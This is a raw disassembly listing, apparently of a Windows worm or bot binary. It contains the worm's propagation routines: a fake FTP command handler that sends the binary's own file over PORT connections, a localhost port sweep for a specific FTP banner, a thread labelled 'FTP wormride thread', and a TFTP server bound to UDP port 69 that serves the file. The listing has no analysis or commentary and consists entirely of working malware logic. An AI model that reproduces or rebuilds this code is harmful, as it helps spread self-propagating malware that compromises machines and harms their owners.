		mov	[ebp+var_51C], offset byte_41DE30


loc_411278:				; CODE XREF: sub_41113B+131j
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		push	0
		call	sub_40813C
		add	esp, 0Ch
		push	[ebp+var_528]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_524], eax
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C6A0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4112FD
		mov	[ebp+var_4], 1
		push	offset dword_41C698
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4112FD:				; CODE XREF: sub_41113B+178j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C68C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41135D
		mov	[ebp+var_118], 1
		push	offset dword_41C684
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41135D:				; CODE XREF: sub_41113B+1D5j
		cmp	[ebp+var_4], 0
		jz	short loc_41136C
		cmp	[ebp+var_118], 0
		jnz	short loc_411371


loc_41136C:				; CODE XREF: sub_41113B+226j
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411371:				; CODE XREF: sub_41113B+22Fj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C678
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4113C7
		push	offset dword_41C670
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4113C7:				; CODE XREF: sub_41113B+249j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C664
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41141D
		push	offset dword_41C65C
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41141D:				; CODE XREF: sub_41113B+29Fj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C654
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_411473
		push	offset dword_41C648
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411473:				; CODE XREF: sub_41113B+2F5j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C63C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4114C9
		push	offset dword_41C634
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4114C9:				; CODE XREF: sub_41113B+34Bj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C628
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41151F
		push	offset dword_41C620
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41151F:				; CODE XREF: sub_41113B+3A1j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C614
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411622
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_52C]
		push	eax
		lea	eax, [ebp+var_540]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		lea	eax, [ebp+var_538]
		push	eax
		lea	eax, [ebp+var_530]
		push	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	[ebp+var_51C]
		call	sub_416BA2	; sscanf
		add	esp, 20h
		movzx	eax, [ebp+var_540]
		push	eax
		movzx	eax, [ebp+var_53C]
		push	eax
		movzx	eax, [ebp+var_538]
		push	eax
		movzx	eax, [ebp+var_530]
		push	eax
		push	offset dword_418A50
		push	100h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 1Ch
		mov	eax, [ebp+var_52C]
		and	eax, 0FFh
		shl	eax, 8
		mov	ecx, [ebp+var_534]
		and	ecx, 0FFh
		or	eax, ecx
		push	eax
		push	offset dword_418A60
		push	6
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41C634
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411622:				; CODE XREF: sub_41113B+3F7j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C5F4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_4116E9
		push	offset aRb	; "rb"
		push	offset dword_41EB2C
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_548], eax
		cmp	[ebp+var_548], 0
		jnz	short loc_411660
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_411660:				; CODE XREF: sub_41113B+51Ej
		push	2
		push	0
		push	[ebp+var_548]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_548]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_544], eax
		push	0
		push	0
		push	[ebp+var_548]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_548]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_544]
		push	offset dword_41C5E8
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4116E9:				; CODE XREF: sub_41113B+4FAj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C5DC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411873
		push	offset a150	; "150 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	0
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_54C], eax
		cmp	[ebp+var_54C], 0
		jz	short loc_411773
		cmp	[ebp+var_54C], 0FFFFFFFFh
		jnz	short loc_411778


loc_411773:				; CODE XREF: sub_41113B+62Dj
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_411778:				; CODE XREF: sub_41113B+636j
		push	offset aRb	; "rb"
		push	offset dword_41EB2C
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_554], eax
		cmp	[ebp+var_554], 0
		jnz	short loc_41179D
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_41179D:				; CODE XREF: sub_41113B+65Bj
		push	2
		push	0
		push	[ebp+var_554]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_554]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_550], eax
		push	0
		push	0
		push	[ebp+var_554]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_554]
		call	sub_416B82	; fclose
		pop	ecx
		push	offset dword_41EB2C
		push	[ebp+var_550]
		push	offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan	1 0:00 .\r\ndrwxr-x"...
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_54C]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_54C]
		call	sub_40538D
		pop	ecx
		push	offset dword_41C558
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411873:				; CODE XREF: sub_41113B+5C1j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C54C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411969
		push	offset a150	; "150 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_41102F
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_411967
		push	offset dword_41C558
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	1
		push	offset dword_41EB08
		call	sub_409C88
		pop	ecx
		pop	ecx
		inc	eax
		mov	[ebp+var_558], eax
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+var_558]
		push	offset aFtp_0	; "ftp"
		push	offset unk_41C520
		push	offset dword_41DAB4
		call	sub_40D4AB
		add	esp, 14h
		push	3E8h
		call	dword_41709C	; Sleep
		jmp	short loc_4119BA
; ---------------------------------------------------------------------------


loc_411967:				; CODE XREF: sub_41113B+7A4j
		jmp	short loc_4119BA
; ---------------------------------------------------------------------------


loc_411969:				; CODE XREF: sub_41113B+74Bj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C514
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4119BA
		push	offset a221	; "221 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch


loc_4119BA:				; CODE XREF: sub_41113B+A5j
					; sub_41113B:loc_411218j ...
		push	offset a231	; "231 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_10C]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		pop	edi
		leave
		retn	4
sub_41113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A09	proc near		; CODE XREF: sub_411BBC+90p

var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		push	32h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_411A29
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A29:				; CODE XREF: sub_411A09+17j
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411A58
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411A5F


loc_411A58:				; CODE XREF: sub_411A09+44j
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A5F:				; CODE XREF: sub_411A09+4Dj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6D8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A8A:				; CODE XREF: sub_411A09+78j
		push	offset dword_41C6CC
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	32h
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411AEE
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411AF5


loc_411AEE:				; CODE XREF: sub_411A09+DAj
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411AF5:				; CODE XREF: sub_411A09+E3j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6C8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411B20
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411B20:				; CODE XREF: sub_411A09+10Ej
		call	sub_410422
		push	eax
		push	offset dword_41C6BC
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	32h
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411B8B
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411B8F


loc_411B8B:				; CODE XREF: sub_411A09+177j
		xor	eax, eax
		jmp	short locret_411BBA
; ---------------------------------------------------------------------------


loc_411B8F:				; CODE XREF: sub_411A09+180j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6B8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411BB7
		xor	eax, eax
		jmp	short locret_411BBA
; ---------------------------------------------------------------------------


loc_411BB7:				; CODE XREF: sub_411A09+1A8j
		push	1
		pop	eax

locret_411BBA:				; CODE XREF: sub_411A09+1Bj
					; sub_411A09+51j ...
		leave
		retn
sub_411A09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411BBC	proc near		; CODE XREF: sub_411D59+6p

var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1C8h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	[ebp+var_4], 1
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		jmp	short loc_411C04
; ---------------------------------------------------------------------------


loc_411BFD:				; CODE XREF: sub_411BBC:loc_411CABj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_411C04:				; CODE XREF: sub_411BBC+3Fj
		cmp	[ebp+var_8], 0FFFFh
		jnb	loc_411CB0
		push	0Ah
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_8]
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	offset a127_0_0_1 ; "127.0.0.1"
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_1C4], eax
		cmp	[ebp+var_1C4], 0
		jz	short loc_411CAB
		push	[ebp+var_1C4]
		call	sub_411A09
		pop	ecx
		test	eax, eax
		jz	short loc_411C9F
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_411C76
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_10]
		call	sub_404871
		add	esp, 0Ch
		jmp	short loc_411C9F
; ---------------------------------------------------------------------------


loc_411C76:				; CODE XREF: sub_411BBC+A5j
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_411C9F
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_411D55
; ---------------------------------------------------------------------------


loc_411C9F:				; CODE XREF: sub_411BBC+98j
					; sub_411BBC+B8j ...
		push	[ebp+var_1C4]
		call	sub_4053B1
		pop	ecx


loc_411CAB:				; CODE XREF: sub_411BBC+88j
		jmp	loc_411BFD
; ---------------------------------------------------------------------------


loc_411CB0:				; CODE XREF: sub_411BBC+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_411CC9
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_411D55
; ---------------------------------------------------------------------------


loc_411CC9:				; CODE XREF: sub_411BBC+F8j
		mov	eax, [ebp+var_1C0]
		push	dword ptr [eax]
		push	offset unk_41C6DC
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_411CE5:				; CODE XREF: sub_411BBC:loc_411D3Cj
		push	3E8h
		push	[ebp+var_10]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C8], eax
		cmp	[ebp+var_1C8], 0
		jz	short loc_411D2E
		cmp	[ebp+var_1C8], 0FFFFFFFFh
		jz	short loc_411D2E
		push	[ebp+var_1C8]
		push	offset sub_41113B
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_411D2E
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx


loc_411D2E:				; CODE XREF: sub_411BBC+145j
					; sub_411BBC+14Ej ...
		mov	eax, [ebp+var_1C0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_411D3C
		jmp	short loc_411D3E
; ---------------------------------------------------------------------------


loc_411D3C:				; CODE XREF: sub_411BBC+17Cj
		jmp	short loc_411CE5
; ---------------------------------------------------------------------------


loc_411D3E:				; CODE XREF: sub_411BBC+17Ej
		push	[ebp+var_10]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_411D55:				; CODE XREF: sub_411BBC+DEj
					; sub_411BBC+108j
		leave
		retn	4
sub_411BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D59	proc near		; DATA XREF: sub_411D68+4Eo

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_411BBC
		pop	ebp
		retn	4
sub_411D59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D68	proc near		; CODE XREF: sub_40A9CF+70Fp
					; sub_40A9CF+735p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_4042FB
		test	eax, eax
		jz	short loc_411D77
		jmp	short locret_411DC3
; ---------------------------------------------------------------------------


loc_411D77:				; CODE XREF: sub_411D68+Bj
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_411D8D
		jmp	short locret_411DC3
; ---------------------------------------------------------------------------


loc_411D8D:				; CODE XREF: sub_411D68+21j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aFtpWormrideThr ; "FTP wormride thread"
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_411D59
		call	sub_4095A4
		add	esp, 10h

locret_411DC3:				; CODE XREF: sub_411D68+Dj
					; sub_411D68+23j
		leave
		retn
sub_411D68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411DC5	proc near		; DATA XREF: sub_4123F6+43o

var_DAC		= dword	ptr -0DACh
var_DA8		= dword	ptr -0DA8h
var_DA4		= dword	ptr -0DA4h
var_DA0		= byte ptr -0DA0h
var_D9C		= dword	ptr -0D9Ch
var_D98		= byte ptr -0D98h
var_D94		= dword	ptr -0D94h
var_D90		= dword	ptr -0D90h
var_D8C		= dword	ptr -0D8Ch
var_D88		= dword	ptr -0D88h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D7C		= dword	ptr -0D7Ch
var_D70		= byte ptr -0D70h
var_D6F		= byte ptr -0D6Fh
var_D6E		= byte ptr -0D6Eh
var_D6D		= byte ptr -0D6Dh
var_D6C		= byte ptr -0D6Ch
var_B6C		= dword	ptr -0B6Ch
var_B68		= dword	ptr -0B68h
var_B64		= dword	ptr -0B64h
var_B60		= dword	ptr -0B60h
var_B5C		= dword	ptr -0B5Ch
var_B58		= dword	ptr -0B58h
var_358		= dword	ptr -358h
var_354		= byte ptr -354h
var_1B0		= word ptr -1B0h
var_1AE		= word ptr -1AEh
var_1AC		= dword	ptr -1ACh
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_19B		= byte ptr -19Bh
var_19A		= byte ptr -19Ah
var_199		= byte ptr -199h
var_11C		= byte ptr -11Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DACh
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_358]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	0
		push	2
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0FFFFFFFFh
		jnz	short loc_411E1D
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------


loc_411E1D:				; CODE XREF: sub_411DC5+43j
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_40449C
		pop	ecx
		pop	ecx
		push	10h
		push	0
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_1B0], 2
		push	45h
		call	dword_417238	; htons
		mov	[ebp+var_1AE], ax
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_417244	; inet_addr
		mov	[ebp+var_1AC], eax
		mov	[ebp+var_1A0], 1
		push	4
		lea	eax, [ebp+var_1A0]
		push	eax
		push	4
		push	0FFFFh
		push	[ebp+var_108]
		call	dword_417204	; setsockopt
		push	10h
		lea	eax, [ebp+var_1B0]
		push	eax
		push	[ebp+var_108]
		call	dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411EC2
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------


loc_411EC2:				; CODE XREF: sub_411DC5+E8j
		push	offset aRb	; "rb"
		push	offset dword_41EB2C
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_10C], 0
		jnz	short loc_411F01
		push	[ebp+var_108]
		call	dword_417230	; closesocket
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------


loc_411F01:				; CODE XREF: sub_411DC5+11Bj
		mov	eax, [ebp+var_358]
		push	dword ptr [eax]
		push	offset unk_41C788
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	2
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_10C]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_4], eax
		push	0
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	80h
		push	0
		lea	eax, [ebp+var_19C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_411F66:				; CODE XREF: sub_411DC5:loc_412084j
					; sub_411DC5:loc_4123C6j
		mov	[ebp+var_B64], 1
		and	[ebp+var_B60], 0
		and	[ebp+var_B5C], 0


loc_411F7E:				; CODE XREF: sub_411DC5+234j
		and	[ebp+var_B68], 0
		jmp	short loc_411F94
; ---------------------------------------------------------------------------


loc_411F87:				; CODE XREF: sub_411DC5:loc_411FB9j
		mov	eax, [ebp+var_B68]
		inc	eax
		mov	[ebp+var_B68], eax


loc_411F94:				; CODE XREF: sub_411DC5+1C0j
		mov	eax, [ebp+var_B68]
		cmp	eax, [ebp+var_B5C]
		jnb	short loc_411FBB
		mov	eax, [ebp+var_B68]
		mov	eax, [ebp+eax*4+var_B58]
		cmp	eax, [ebp+var_108]
		jnz	short loc_411FB9
		jmp	short loc_411FBB
; ---------------------------------------------------------------------------


loc_411FB9:				; CODE XREF: sub_411DC5+1F0j
		jmp	short loc_411F87
; ---------------------------------------------------------------------------


loc_411FBB:				; CODE XREF: sub_411DC5+1DBj
					; sub_411DC5+1F2j
		mov	eax, [ebp+var_B68]
		cmp	eax, [ebp+var_B5C]
		jnz	short loc_411FF5
		cmp	[ebp+var_B5C], 200h
		jnb	short loc_411FF5
		mov	eax, [ebp+var_B68]
		mov	ecx, [ebp+var_108]
		mov	[ebp+eax*4+var_B58], ecx
		mov	eax, [ebp+var_B5C]
		inc	eax
		mov	[ebp+var_B5C], eax


loc_411FF5:				; CODE XREF: sub_411DC5+202j
					; sub_411DC5+20Ej
		xor	eax, eax
		test	eax, eax
		jnz	short loc_411F7E
		lea	eax, [ebp+var_B64]
		push	eax
		push	0
